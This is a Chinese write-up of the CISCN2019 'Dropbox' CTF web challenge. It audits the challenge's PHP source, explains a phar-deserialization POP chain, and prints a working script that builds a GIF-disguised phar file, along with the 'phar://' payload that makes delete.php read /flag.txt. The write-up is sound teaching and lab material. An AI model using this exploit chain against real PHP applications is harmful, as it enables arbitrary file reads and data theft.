本文主要是介绍[CISCN2019 华北赛区 Day1 Web1]Dropbox (phar反序列化),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
[CISCN2019 华北赛区 Day1 Web1]Dropbox (phar反序列化)
经过测试,发现这里有个任意文件下载的漏洞,根据程序功能,下载到网站源码:
注意下本地环境:
代码审计:login.php
<?php
include "class.php";if (isset($_GET['register'])) {echo "<script>toast('娉ㄥ唽鎴愬姛', 'info');</script>";
}if (isset($_POST["username"]) && isset($_POST["password"])) {$u = new User(); # 初始化User对象$username = (string) $_POST["username"];$password = (string) $_POST["password"];if (strlen($username) < 20 && $u->verify_user($username, $password)) { # username长度小于20,调用verify_user方法验证username和password$_SESSION['login'] = true; # session设置login、username(这里还对username做了处理)、sandbox$_SESSION['username'] = htmlentities($username);$sandbox = "uploads/" . sha1($_SESSION['username'] . "sftUahRiTz") . "/"; # 上传路径:uploads/sha1(username+sftUahRiTz)/if (!is_dir($sandbox)) {mkdir($sandbox);}$_SESSION['sandbox'] = $sandbox;echo("<script>window.location.href='index.php';</script>");die();}echo "<script>toast('璐﹀彿鎴栧瘑鐮侀敊璇�', 'warning');</script>";
}
?>
- 这里可能有sql注入,具体要看verify_user方法
- 还注意到上传路径,其实是已知的
register.php
<?php
include "class.php";if (isset($_POST["username"]) && isset($_POST["password"])) {$u = new User();$username = (string) $_POST["username"];$password = (string) $_POST["password"];if (strlen($username) < 20 && strlen($username) > 2 && strlen($password) > 1) { # 限制username长度小于20,大于2,密码长度大于1if ($u->add_user($username, $password)) { # 调用add_user方法echo("<script>window.location.href='login.php?register';</script>");die();} else {echo "<script>toast('姝ょ敤鎴峰悕宸茶浣跨敤', 'warning');</script>";die();}}echo "<script>toast('璇疯緭鍏ユ湁鏁堢敤鎴峰悕鍜屽瘑鐮�', 'warning');</script>";
}
?>
upload.php
<?php
session_start();
if (!isset($_SESSION['login'])) {header("Location: login.php");die();
}include "class.php";if (isset($_FILES["file"])) {$filename = $_FILES["file"]["name"]; # 文件名$pos = strrpos($filename, "."); # 查找.最后出现的位置if ($pos !== false) {$filename = substr($filename, 0, $pos); # 截取最后出现.前的字符串}$fileext = ".gif";switch ($_FILES["file"]["type"]) { #文件的 MIME 类型,需要浏览器提供该信息的支持,例如“image/gif”。case 'image/gif':$fileext = ".gif";break;case 'image/jpeg':$fileext = ".jpg";break;case 'image/png':$fileext = ".png";break;default:$response = array("success" => false, "error" => "Only gif/jpg/png allowed");Header("Content-type: application/json");echo json_encode($response);die();}if (strlen($filename) < 40 && strlen($filename) !== 0) {$dst = $_SESSION['sandbox'] . $filename . $fileext; # 所上传文件的存储路径:uploads/sha1(username+sftUahRiTz)/文件名+fileexxtmove_uploaded_file($_FILES["file"]["tmp_name"], $dst); # 文件被上传后在服务端储存的临时文件名。$response = array("success" => true, "error" => "");Header("Content-type: application/json");echo json_encode($response);} else {$response = array("success" => false, "error" => "Invaild filename");Header("Content-type: application/json");echo json_encode($response);}
}
?>
- 这里注意上传的文件,后缀会强制换成指定的三种
download.php
<?php
session_start();
if (!isset($_SESSION['login'])) {header("Location: login.php");die();
}if (!isset($_POST['filename'])) {die();
}include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp"); # 就是只可以访问当前目录(getcwd()返回当前目录)、/etc和/tmp三个目录chdir($_SESSION['sandbox']); # 改变当前操作路径为上传文件的路径
$file = new File(); # 初始化file对象
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) { # 文件名不超过40、open方法、文件名中不能有flagHeader("Content-type: application/octet-stream");Header("Content-Disposition: attachment; filename=" . basename($filename));echo $file->close();
} else {echo "File not exist";
}
?>
- download.php的操作路径被改成了
uplaod/sha1()/
,这也就是为啥文件下载的时候是../../index.php
- 这里看出来确实可以任意文件下载
delete.php
<?php
session_start();
if (!isset($_SESSION['login'])) {header("Location: login.php");die();
}if (!isset($_POST['filename'])) {die();
}include "class.php";chdir($_SESSION['sandbox']); # 改变当前操作路径为上传文件的路径
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) { # 打开文件、调用delete方法删除文件$file->detele();Header("Content-type: application/json");$response = array("success" => true, "error" => "");echo json_encode($response);
} else {Header("Content-type: application/json");$response = array("success" => false, "error" => "File not exist");echo json_encode($response);
}
?>
- 注意这里没有限制访问目录
class.php
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname); # 数据库连接class User {public $db;public function __construct() { # 构造函数global $db;$this->db = $db;}public function user_exist($username) {$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;"); # 预处理,这里sql注入是不行的$stmt->bind_param("s", $username);$stmt->execute();$stmt->store_result();$count = $stmt->num_rows;if ($count === 0) {return false;}return true;}public function add_user($username, $password) {if ($this->user_exist($username)) {return false;}$password = sha1($password . "SiAchGHmFx");$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");$stmt->bind_param("ss", $username, $password);$stmt->execute();return true;}public function verify_user($username, $password) {if (!$this->user_exist($username)) {return false;}$password = sha1($password . "SiAchGHmFx");$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");$stmt->bind_param("s", $username);$stmt->execute();$stmt->bind_result($expect);$stmt->fetch();if (isset($expect) && $expect === $password) {return true;}return false;}public function __destruct() {$this->db->close();}
}class FileList {private $files;private $results;private $funcs;public function __construct($path) { # 构造函数$this->files = array();$this->results = array();$this->funcs = array();$filenames = scandir($path); # filenames:path下的文件列表$key = array_search(".", $filenames); # 寻找键值'.',返回键名unset($filenames[$key]); # 删掉这个键值对$key = array_search("..", $filenames);unset($filenames[$key]);foreach ($filenames as $filename) {$file = new File();$file->open($path . $filename);array_push($this->files, $file); # files存储一个用户上传路径下所有的文件对象$this->results[$file->name()] = array(); # result每个文件名都是一个键值,每个键值对应一个数组}}public function __call($func, $args) { # 对象调用一个不存在的方法时调用array_push($this->funcs, $func); # 把不存在的函数名存入funcs(args是不存在函数所带的参数)foreach ($this->files as $file) {$this->results[$file->name()][$func] = $file->$func(); # results[文件名][方法名]= 调用file类对应的方法 }}public function __destruct() {$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';$table .= '<thead><tr>';foreach ($this->funcs as $func) { # 遍历funcs中的每个func$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';}$table .= '<th scope="col" class="text-center">Opt</th>';$table .= '</thead><tbody>';foreach ($this->results as $filename => $result) { # 遍历results中的每个键值对$table .= '<tr>';foreach ($result as $func => $value) { # 遍历result,得到func和对应的结果$table .= '<td class="text-center">' . htmlentities($value) . '</td>';}$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">涓嬭浇</a> / <a href="#" class="delete">鍒犻櫎</a></td>';$table .= '</tr>';}echo $table;}
}class File {public $filename;public function open($filename) {$this->filename = $filename;if (file_exists($filename) && !is_dir($filename)) { # 文件存在且不是文件目录则返回truereturn true;} else {return false;}}public function name() {return basename($this->filename); # 返回basename}public function size() {$size = filesize($this->filename);$units = array(' B', ' KB', ' MB', ' GB', ' TB');for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;return round($size, 2).$units[$i]; # 返回文件大小}public function detele() {unlink($this->filename); # 删除文件}public function close() {return file_get_contents($this->filename); # 返回文件内容}
}
?>
- 基本排除sql注入
- 注意到两个魔术方法:
__call
、__destruct
是危险的 - 最值得注意的是
File
类中的close()
方法,因为file_get_contents
往往会造成任意文件读取(而且这里出现这个非常突兀,整个网站都没出现文件内容呈现的功能),这里也是很危险的
index.php
<?php
include "class.php";$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>
看到index这里才清楚class中的奇怪的函数:
- 初始化
FileList
类,调用Name、Size方法 - 看到
Filelist
中是不存在这两种方法的,于是调用了__call
魔术方法 __call
方法:$this->results[$file->name()][$func] = $file->$func();
results存储File
类对应方法的执行结果最后当FileList
对象销毁时,调用__destruct
魔术方法,打印出结果
这里有魔术方法,联系到了反序列化;结合phar反序列化问题,明确该题目确实有phar利用条件:
phar反序列化问题分析:利用 phar 拓展 php 反序列化漏洞攻击面
-
有文件上传条件,可以上传phar文件
-
可利用函数 题目中含有如
unlink、file_get_contents、isdir、file_exists
等函数 -
文件操作函数的参数可控:upload.php中filename、delete.php中filename可控
-
题目对
:
、/
、phar
等特殊字符没有过滤。
POP利用链思路:
- 上传phar文件
- 这里可以在upload上传文件,对于PHP,是以关键标识
__HALT_COMPILER();?>
识别phar文件的,所以文件后缀对文件识别没有影响 - 改成
gif/jpg/png
后缀
- 这里可以在upload上传文件,对于PHP,是以关键标识
- 后端触发反序列化
- upload.php中filename、delete.php中filename可控
unlink、file_get_contents、isdir、file_exists
这些函数在处理 phar文件时都会触发反序列化- 但是注意到
upload.php
中限制了访问目录,如果想读到限制目录外的其他目录是不行的,所以由delete.php
来触发
- 执行魔术方法、读取指定文件
- 如果想要读取文件内容,
肯定要利用class.php
中的File.close()
,但是没有直接调用这个方法的语句; - 注意到
User
类中在__destruct
时调用了close()
,按原逻辑,$db
应该是mysqli
即数据库对象,但是我们可以构造$db
指定为File
对象,这样就可以读取到文件了。 - 可读取到文件不能呈现给我们,注意到
__call
魔术方法,这个魔术方法的主要功能就是,如果要调用的方法我们这个类中不存在,就会去File
中找这个方法,并把执行结果存入$this->results[$file->name()][$func]
,刚好我们利用这一点:让$db
为FileList
对象,当$db
销毁时,触发__destruct
,调用close()
,由于FileList
没有这个方法,于是去File
类中找方法,读取到文件,存入results
- 如果想要读取文件内容,
- 返回读取结果
__destruct
正好会将$this->results[$file->name()][$func]
的内容打印出来
构造POP利用链:
<?phpclass User {public $db;}class File {public $filename;}class FileList {private $files;private $results;private $funcs;public function __construct() {$this->files = array();$this->results = array();$this->funcs = array();$file = new File();$file->filename = '/flag.txt'; # 这里的flag.txt是多次猜测出来的array_push($this->files, $file);}}$user = new User();$filelist = new FileList();$user->db = $filelist;$phar = new Phar("phar.phar"); //后缀名必须为phar$phar->startBuffering();$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头$phar->setMetadata($user); //将自定义的meta-data存入manifest$phar->addFromString("test.txt", "test"); //添加要压缩的文件//签名自动计算$phar->stopBuffering();
?>
生成phar文件:
改一下后缀上传:
抓取delete.php的数据包,修改post提交的数据:
filename=phar://phar.gif
这篇关于[CISCN2019 华北赛区 Day1 Web1]Dropbox (phar反序列化)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!